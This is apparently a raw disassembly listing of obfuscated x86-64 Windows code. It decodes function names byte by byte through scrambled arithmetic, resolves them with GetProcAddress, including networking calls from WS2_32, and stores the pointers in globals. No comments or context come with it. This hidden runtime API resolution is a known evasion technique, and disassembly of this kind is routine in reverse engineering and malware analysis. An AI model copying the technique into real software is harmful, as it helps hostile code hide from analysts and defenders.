lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140071d3a
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071b9e
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
dec r11
inc r11
jmp 0x140071443
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400718d5
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140071dad
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140071c00
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071443
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140071c25
movzx ecx, r10b
and cl, r9b
add cl, cl
movzx edi, r10b
sub dil, cl
add dil, r9b
jmp 0x140071deb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140071c52
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071dad
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140071c7c
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x140071daa
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140071ca4
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec r11
inc r11
jmp 0x140071443
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140071894
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140071d3a
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
add dil, r10b
jmp 0x140071d85
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140071deb
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071daa
movzx r9d, r11b
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x1a0], cl
inc r8
dec r11
inc r11
jmp 0x140071443
movzx r9d, r11b
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x1a0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140071443
movabs rax, 0x21608d3c3e460
add rax, r11
and sil, al
mov ecx, 0x30
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
movzx r9d, r11b
add dil, r10b
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x20
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x1a0], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x80
add r10b, cl
mov byte [rbp + r11 + 0x1a0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071443
movabs rax, 0xe4df362f61e0
add rax, r11
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0x1a0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071443
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140071440
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140071430
lea rdx, [rbp + 0x171ed20]
jmp 0x140071ef1
lea rdx, [rbp + 0x1570dc0]
jmp 0x140071ef1
lea rdx, [rbp + 0x1a0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov byte [rbp + 0x1c0], 0x1b
mov byte [rbp + 0x1c1], 0x45
mov byte [rbp + 0x1c2], 0x7b
mov byte [rbp + 0x1c3], 0x7c
mov byte [rbp + 0x1c4], 0x44
mov byte [rbp + 0x1c5], 0x41
mov byte [rbp + 0x1c6], 0x60
mov byte [rbp + 0x1c7], 0x4e
mov byte [rbp + 0x1c8], 0x63
mov byte [rbp + 0x1c9], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1ca], 0x4a
mov byte [rbp + 0x1cb], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x1cc], 0x75
mov byte [rbp + 0x1cd], 0x53
mov byte [rbp + 0x1ce], 0xc4
xor eax, eax
mov qword [rbp + 0x1cf], rax
mov word [rbp + 0x1d7], ax
mov byte [rbp + 0x1d9], al
movabs r12, 0x5c7b4e0203e3aa3
movzx edi, byte [rbp + 0x410]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x1a
jae 0x140072b58
movzx r10d, byte [rbp + r11 + 0x1c0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140072b4c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140071ff3
lea rcx, [r11 + r12]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x75
jmp 0x140072020
je 0x140072ad3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140072a6f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140072a17
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400729d0
movzx r9d, r11b
cmp r8, r11
ja 0x140072b40
lea rax, [r8 + 0x20]
cmp rbx, rax
jae 0x140072052
lea ecx, [r9 + 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x67
jmp 0x140072093
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400729b5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140072998
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007297b
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140072934
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140072905
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400725fd
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400725e2
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400725bc
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140072599
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007257e
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007255e
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007253e
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14007251f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400724ff
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400724cd
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400720a0
lea rbx, [r8 + 9]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140072b23
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140072b06
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140072296
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14007227b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140072260
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140072484
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14007243f
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140072405
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400723dd
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400720a0
lea rbx, [r8 + 0x64]
lea r8, [rbx + 3]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400723ae
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140072391
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140072376
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140072359
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007233c
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140072321
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x1400722fb
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400722d2
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400722b3
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400720a0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 1]
jmp 0x1400720a0
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x140072093
lea ecx, [r9 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x63
jmp 0x140072024
sub r9b, 0xb
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4d
jmp 0x140071fc0
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400729ea
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140071fa3
add r9b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140071fa3
lea ecx, [r9 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
jmp 0x140072a31
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140072a53
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
jmp 0x140072a56
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4c
jmp 0x140072949
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
jmp 0x140072a8e
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
sub r9b, 0x67
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2f
mov byte [rbp + r11 + 0x1c0], dil
inc r11
jmp 0x140071fa3
lea ecx, [r9 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x45
cmp r8, 8
jb 0x1400723f5
lea ecx, [r9 - 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x3c]
jmp 0x1400729ea
lea ecx, [r9 + 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5b
cmp rbx, 0x2a
jae 0x1400728d4
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x140072791
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x14007241b
lea ecx, [r9 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x71
lea rax, [r8 + rbx]
cmp rax, 2
je 0x1400728f2
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x140072711
lea ecx, [r9 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1f
jmp 0x140072455
add r9b, 0x3a
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140072a8e
lea edx, [r9 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072949
add r9b, 0x68
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140072a56
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140072a53
lea ecx, [r9 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
jmp 0x140072a31
sub r9b, 0x6a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1a
dec r11
inc r11
jmp 0x140071fa3
add r9b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x140071fa3
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x1400729ea
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x140072625
lea ecx, [r9 - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x75
jmp 0x14007249a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007265d
sub r9b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140072685
lea ecx, [r9 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 6
jmp 0x140072949
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400726b2
sub r9b, 0x2a
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140072a53
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400726de
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a31
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007249a
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140071fa3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140072739
lea ecx, [r9 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x35
jmp 0x1400729ea
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140072769
sub r9b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x61
dec r11
inc r11
jmp 0x140071fa3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140072455
lea ecx, [r9 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x47
jmp 0x140072949
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400727c9
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400727f1
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140072949
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007281b
add r9b, 0x4e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x22
jmp 0x140072a56
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140072847
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140072a31
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140072876
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140071fa3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400728a8
add r9b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140071fa3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007241b
lea edx, [r9 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400729ea
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140072a31
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x72]
jmp 0x140072949
sub r9b, 0x2b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2d
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
add r9b, 0x21
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x19
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x1c0], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140072a8e
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
jmp 0x140072a56
sub r9b, 0x43
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2b
jmp 0x140072a53
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
jmp 0x1400729ea
movzx r9d, r11b
lea ecx, [r9 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x51
sub r9b, 0x6b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x13
add r10b, r9b
mov byte [rbp + r11 + 0x1c0], r10b
inc r8
dec r11
inc r11
jmp 0x140071fa3
movzx r9d, r11b
lea ecx, [r9 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
sub r9b, 0x25
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 3
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x1c0], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140071fa3
movabs rcx, 0x1ce68860a137252f
add rcx, r11
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x49
add dil, cl
lea ecx, [r11 - 0x3c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x5c
add r10b, cl
mov byte [rbp + r11 + 0x1c0], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
movabs rax, 0x11571ea060baafe9
add rax, r11
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0x5f
movzx eax, byte [rbp + r11 + 0x1c0]
add rax, r8
add r11, rax
inc r11
jmp 0x140071fa3
sub r9b, 0x51
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x37
jmp 0x140071fa0
add r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x21
jmp 0x140071f90
lea rdx, [rbp + 0x14f6744]
jmp 0x140072b5f
lea rdx, [rbp + 0x8da1e7]
jmp 0x140072b5f
lea rdx, [rbp + 0x1c0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [rsp + 0x50], 0
je 0x140072db2
cmp qword [rsp + 0x58], 0
je 0x140072db2
cmp qword [rsp + 0x60], 0
je 0x140072db2
cmp qword [rsp + 0x68], 0
je 0x140072db2
cmp qword [rsp + 0x70], 0
je 0x140072db2
cmp qword [rsp + 0x78], 0
je 0x140072db2
cmp qword [rbp - 0x80], 0
je 0x140072db2
cmp qword [rbp - 0x78], 0
je 0x140072db2
cmp qword [rbp - 0x70], 0
je 0x140072db2
cmp qword [rbp - 0x68], 0
je 0x140072db2
cmp qword [rbp - 0x60], 0
je 0x140072db2
cmp qword [rbp - 0x58], 0
je 0x140072db2
cmp qword [rbp - 0x50], 0
je 0x140072db2
mov rdi, qword [rbp + 0x410]
test rdi, rdi
je 0x140072db2
mov rbx, qword [rbp + 0x418]
test rbx, rbx
je 0x140072db2
mov r11, qword [rsp + 0x30]
test r11, r11
je 0x140072db2
mov r10, qword [rsp + 0x28]
test r10, r10
je 0x140072db2
mov r9, qword [rsp + 0x20]
test r9, r9
je 0x140072db2
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x140072db2
mov r8, qword [rbp - 0x48]
test r8, r8
je 0x140072db2
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x140072db2
mov r15, qword [rbp - 0x30]
test r15, r15
je 0x140072db2
test r13, r13
je 0x140072db2
test r14, r14
je 0x140072db2
test rsi, rsi
je 0x140072db2
test rax, rax
je 0x140072db2
mov r12, qword [rsp + 0x58]
mov qword [0x1401ecce8], r12
mov r12, qword [rsp + 0x60]
mov qword [0x1401eccf0], r12
mov r12, qword [rsp + 0x68]
mov qword [0x1401eccf8], r12
mov r12, qword [rsp + 0x70]
mov qword [0x1401ecd00], r12
mov r12, qword [rsp + 0x78]
mov qword [0x1401ecd08], r12
mov r12, qword [rbp - 0x80]
mov qword [0x1401ecd10], r12
mov r12, qword [rbp - 0x78]
mov qword [0x1401ecd18], r12
mov r12, qword [rbp - 0x70]
mov qword [0x1401ecd20], r12
mov r12, qword [rbp - 0x68]
mov qword [0x1401ecd28], r12
mov r12, qword [rbp - 0x60]
mov qword [0x1401ecd30], r12
mov r12, qword [rbp - 0x58]
mov qword [0x1401ecd38], r12
mov r12, qword [rbp - 0x50]
mov qword [0x1401ecd40], r12
mov qword [0x1401ecd48], rdi
mov qword [0x1401ecd50], rbx
mov qword [0x1401ecd58], r11
mov qword [0x1401ecd60], r10
mov qword [0x1401ecd68], r9
mov qword [0x1401ecd70], rdx
mov qword [0x1401ecd78], r8
mov qword [0x1401ecd80], rcx
mov qword [0x1401ecd88], r15
mov qword [0x1401ecd90], r13
mov qword [0x1401ecd98], r14
mov qword [0x1401ecda0], rsi
mov qword [0x1401ecda8], rax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rax, qword [rbp + 0x420]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x408]
mov qword [rcx], rax
add rsp, 0x4c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret